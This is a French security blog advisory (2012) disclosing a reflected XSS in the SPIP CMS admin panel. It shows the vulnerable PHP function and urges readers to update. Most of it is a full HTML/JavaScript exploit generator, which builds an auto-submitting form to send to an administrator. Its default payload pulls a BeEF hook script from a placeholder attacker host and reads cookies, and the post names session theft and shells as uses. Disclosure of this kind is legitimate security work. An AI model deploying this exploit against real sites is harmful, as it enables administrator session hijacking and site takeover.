[XSS] SPIP Core <= 3.0.1, 2.1.14, 2.0.19 admin panel

13
Jun
2012
  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Yann C.  /   Category: Vulnerabilities, exploits and PoC   /   No Comments

Une nouvelle version de SPIP vient de sortir aujourd’hui, pour chacune des branches du projet. Au menu, de nombreuses améliorations, corrections d’erreurs et des vulnérabilités XSS.

SPIP est un système de publication pour l’Internet qui s’attache particulièrement au fonctionnement collectif, au multilinguisme et à la facilité d’emploi. C’est un logiciel libre, distribué sous la licence GNU/GPL. Il peut ainsi être utilisé pour tout site Internet, qu’il soit associatif ou institutionnel, personnel ou marchand.

ASafety a décelé une de ces XSS (non-permanente) et prévenu l’équipe en charge du développement de SPIP le 07/06/2012. Suite à quelques échanges, un patch correctif débouchant sur une nouvelle release est sorti ce jour même.

Alerte du cookie

alert(cookie);

La vulnérabilité concerne le fichier “/spip/ecrire/inc/admin.php”, au niveau de la ligne 176 correspondante à la fonction :

[php]function copy_request($script, $suite, $submit=”)&amp;lt;br /&amp;gt;
{&amp;lt;br /&amp;gt;
include_spip(‘inc/filtres’);&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt; foreach(array_merge($_POST,$_GET) as $n =&amp;amp;amp;gt; $c) {&amp;lt;br /&amp;gt;
if (!in_array($n,array(‘fichier’,’exec’,’validation_admin’)) AND !is_array($c))&amp;lt;br /&amp;gt;
$suite .= &amp;amp;amp;quot;\n&amp;amp;amp;lt;input type=’hidden’ name=’$n’ value=’&amp;amp;amp;quot; .&amp;lt;br /&amp;gt;
entites_html($c) .&amp;lt;br /&amp;gt;
&amp;amp;amp;quot;’ /&amp;amp;amp;gt;&amp;amp;amp;quot;;&amp;lt;br /&amp;gt;
}&amp;lt;br /&amp;gt;
return generer_form_ecrire($script, $suite, ”, $submit);&amp;lt;br /&amp;gt;
}[/php]

Les données GET et POST sont nettoyées à partir de la fonction “entites_html()”, toutefois le nom de ces valeurs ($n) ne l’est pas, et est réinjecté au sein du formulaire généré. Il est ainsi possible de créer un vecteur d’attaque XSS pour ces noms.

Les navigateurs actuels nettoient et convertissent certains caractères des URLs automatiquement. Ainsi, l’injection de l’XSS est plus difficile à réaliser au sein de variables GET. C’est pourquoi la démonstration suivante s’oriente vers la méthode POST. ASafety a créé un générateur d’exploit pour cette XSS. Le code du générateur est le suivant :

[html]&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;html&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;head&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;script&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
function trim(s){&amp;lt;br /&amp;gt;
return s.replace(/\r\n|\r|\n|\t/g,”).replace(/^\s+/g,”).replace(/\s+$/g,”);&amp;lt;br /&amp;gt;
}&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt; function encodeToHex(s){&amp;lt;br /&amp;gt;
var r=&amp;amp;amp;quot;&amp;amp;amp;quot;;&amp;lt;br /&amp;gt;
var h;&amp;lt;br /&amp;gt;
for(var c=0;c&amp;amp;amp;lt;s.length;c++){&amp;lt;br /&amp;gt;
h=s.charCodeAt(c).toString(16);&amp;lt;br /&amp;gt;
while(h.length&amp;amp;amp;lt;3) h=&amp;amp;amp;quot;%&amp;amp;amp;quot;+h;&amp;lt;br /&amp;gt;
r+=h;&amp;lt;br /&amp;gt;
}&amp;lt;br /&amp;gt;
return r;&amp;lt;br /&amp;gt;
}&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;function generateXSS(){&amp;lt;br /&amp;gt;
var target = trim(document.getElementById(&amp;amp;amp;quot;target&amp;amp;amp;quot;).value);&amp;lt;br /&amp;gt;
var version = trim(document.getElementById(&amp;amp;amp;quot;version&amp;amp;amp;quot;).value);&amp;lt;br /&amp;gt;
var content = trim(document.getElementById(&amp;amp;amp;quot;content&amp;amp;amp;quot;).value);&amp;lt;br /&amp;gt;
var resultjs = &amp;amp;amp;quot;&amp;amp;amp;quot;;&amp;lt;br /&amp;gt;
resultjs += &amp;amp;amp;quot;&amp;amp;amp;lt;html&amp;amp;amp;gt;&amp;amp;amp;lt;body&amp;amp;amp;gt;&amp;amp;amp;lt;form name=’x’ action=’&amp;amp;amp;quot; + target + &amp;amp;amp;quot;ecrire/?exec=&amp;amp;amp;quot; + version + &amp;amp;amp;quot;’ method=’post’&amp;amp;amp;gt;&amp;amp;amp;quot;;&amp;lt;br /&amp;gt;
resultjs += &amp;amp;amp;quot;&amp;amp;amp;lt;input type=’hidden’ name=’exec’ value=’&amp;amp;amp;quot; + version + &amp;amp;amp;quot;’ /&amp;amp;amp;gt;&amp;amp;amp;quot;;&amp;lt;br /&amp;gt;
resultjs += &amp;amp;amp;quot;&amp;amp;amp;lt;input type=’hidden’ name=\&amp;amp;amp;quot;x’&amp;amp;amp;gt;&amp;amp;amp;lt;script&amp;amp;amp;gt;eval(unescape(‘&amp;amp;amp;quot; + encodeToHex(content) + &amp;amp;amp;quot;’));&amp;amp;amp;lt;\/script&amp;amp;amp;gt;&amp;amp;amp;lt;input=\&amp;amp;amp;quot; value=” /&amp;amp;amp;gt;&amp;amp;amp;quot;;&amp;lt;br /&amp;gt;
resultjs += &amp;amp;amp;quot;&amp;amp;amp;lt;/form&amp;amp;amp;gt;&amp;amp;amp;lt;script&amp;amp;amp;gt;document.forms[‘x’].submit();&amp;amp;amp;lt;\/script&amp;amp;amp;gt;&amp;amp;amp;lt;/body&amp;amp;amp;gt;&amp;amp;amp;lt;/html&amp;amp;amp;gt;&amp;amp;amp;quot;;&amp;lt;br /&amp;gt;
document.getElementById(&amp;amp;amp;quot;resultjs&amp;amp;amp;quot;).value = resultjs;&amp;lt;br /&amp;gt;
}&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt; &amp;amp;amp;lt;/script&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;/head&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;body onload=&amp;amp;amp;quot;generateXSS();&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;h2&amp;amp;amp;gt;XSS in SPIP Core &amp;amp;amp;amp;lt;=3.0.1 or &amp;amp;amp;amp;lt;=2.1.14 admin panel (base repair)&amp;amp;amp;lt;/h2&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;p&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
This XSS, non-persistent, use POST vars through admin panel.&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
The target is the attribute &amp;amp;amp;quot;name&amp;amp;amp;quot; of an input markup hidden.&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
This XSS work on Firefox 13, IE7, but doesn’t work on Chrome.&amp;amp;amp;lt;br /&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
Magic_quote_gcp = Off needed.&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;/p&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;form action=&amp;amp;amp;quot;&amp;amp;amp;quot; onsubmit=&amp;amp;amp;quot;generateXSS();return false;&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;table&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;tr&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;td&amp;amp;amp;gt;URL’s SPIP Targeted :&amp;amp;amp;lt;/td&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;td&amp;amp;amp;gt;&amp;amp;amp;lt;input id=&amp;amp;amp;quot;target&amp;amp;amp;quot; type=&amp;amp;amp;quot;text&amp;amp;amp;quot; value=&amp;amp;amp;quot;http://target/spip/&amp;amp;amp;quot; size=&amp;amp;amp;quot;70&amp;amp;amp;quot; onkeyup=&amp;amp;amp;quot;generateXSS();&amp;amp;amp;quot; /&amp;amp;amp;gt;&amp;amp;amp;lt;/td&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;/tr&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;tr&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;td&amp;amp;amp;gt;SPIP version :&amp;amp;amp;lt;/td&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;td&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;select id=&amp;amp;amp;quot;version&amp;amp;amp;quot; onchange=&amp;amp;amp;quot;generateXSS();&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;option value=&amp;amp;amp;quot;base_repair&amp;amp;amp;quot;&amp;amp;amp;gt;3.0.X (up to 3.0.1 included)&amp;amp;amp;lt;/option&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;option value=&amp;amp;amp;quot;admin_repair&amp;amp;amp;quot;&amp;amp;amp;gt;2.1.X (up to 2.1.14 included)&amp;amp;amp;lt;/option&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;/select&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;/td&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;/tr&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;tr&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;td&amp;amp;amp;gt;JavaScript code to execute :&amp;amp;amp;lt;br /&amp;amp;amp;gt;(without &amp;amp;amp;amp;lt;script&amp;amp;amp;amp;gt; &amp;amp;amp;amp; &amp;amp;amp;amp;lt;/script&amp;amp;amp;amp;gt; markup)&amp;amp;amp;lt;/td&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;td&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;textarea cols=&amp;amp;amp;quot;70&amp;amp;amp;quot; rows=&amp;amp;amp;quot;10&amp;amp;amp;quot; id=&amp;amp;amp;quot;content&amp;amp;amp;quot; onkeyup=&amp;amp;amp;quot;generateXSS();&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
alert(document.cookie);&amp;lt;br /&amp;gt;
var script = document.createElement(&amp;amp;amp;quot;script&amp;amp;amp;quot;);&amp;lt;br /&amp;gt;
script.type = &amp;amp;amp;quot;text/javascript&amp;amp;amp;quot;;&amp;lt;br /&amp;gt;
script.src = &amp;amp;amp;quot;http://ha.ck.er.xxx/beEf.js&amp;amp;amp;quot;;&amp;lt;br /&amp;gt;
document.body.appendChild(script);&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;/textarea&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;/td&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;/tr&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;tr&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;td&amp;amp;amp;gt;Exploit to send to an admin : &amp;amp;amp;lt;/td&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;td&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;textarea cols=&amp;amp;amp;quot;70&amp;amp;amp;quot; rows=&amp;amp;amp;quot;10&amp;amp;amp;quot; id=&amp;amp;amp;quot;resultjs&amp;amp;amp;quot; readonly=&amp;amp;amp;quot;readonly&amp;amp;amp;quot;&amp;amp;amp;gt;&amp;amp;amp;lt;/textarea&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;/td&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;/tr&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;/table&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;/form&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;/body&amp;amp;amp;gt;&amp;lt;br /&amp;gt;
&amp;amp;amp;lt;/html&amp;amp;amp;gt;[/html]

Générateur d'XSS

Générateur d'XSS SPIP

L’objectif, au travers de ce générateur, est d’injecter le vecteur XSS au sein de l’attribut “name” de la balise “input” générée par la fonction précédente. Ainsi, il faut clore convenablement l’attribut et la balise pour injecter le code de l’XSS. Les quote et double-quote sont par conséquent à restreindre au sein du code JS injecté, d’où le générateur d’exploit. A noter que la variable GET permettant l’accès à la page d’administration vulnérable a évolué au cours des versions de SPIP.

Le générateur précédent lancé au sein d’un navigateur demande l’URL du SPIP cible, la version de celui-ci, et le code JS à injecter. Le générateur fourni en retour un code automatiquement généré qu’un potentiel attanquant pourrait intégrer à une quelconque page web en ligne.

Par la suite, si un administrateur du SPIP venait à aller sur la page de l’attaquant, le code de l’XSS serait automatiquement exécuté.
Les XSS sont des vulnérabilités à ne pas délaisser. Dans cet exemple, il est possible d’usurper le cookie d’un administrateur, de sa session, d’exploiter la puissance du framework BeEF, d’injecter des exploits pour l’obtention de shell, meterpreter et bien d’autres possibilités…

Source

Source injectée

Cette vulnérabilité a été testée avec succès sur Firefox 13 mais s’avère non-fonctionnelle sous Chrome, et nécessite la directive “magic_quote_gcp” d’Apache de désactivée.

Nous vous invitons donc sans plus attendre à corriger cette faiblesse en mettant à jour votre version de SPIP via les modifications suivantes :

Ou bien d’utiliser la dernière version téléchargeable ici !

Beaucoup de CMS et d’applications web ont acquis les mécanismes de sécurisation de leur données entrantes (sanitization). La plupart appliquent des procédés de nettoyage afin de se protéger de telles attaques. Or il est courant de voir les noms des variables, à défaut des valeurs, ne pas être sécurisés.

Nous remercions l’équipe de SPIP pour leur réactivité et pour le maintien de cet outil !

Crédits : x@s

Liens connexes :

  • Google Plus
  • LinkedIn
  • Viadeo
Author Avatar

About the Author : Yann C.

Consultant en sécurité informatique et s’exerçant dans ce domaine depuis le début des années 2000 en autodidacte par passion, plaisir et perspectives, il maintient le portail ASafety pour présenter des articles, des projets personnels, des recherches et développements, ainsi que des « advisory » de vulnérabilités décelées notamment au cours de pentest.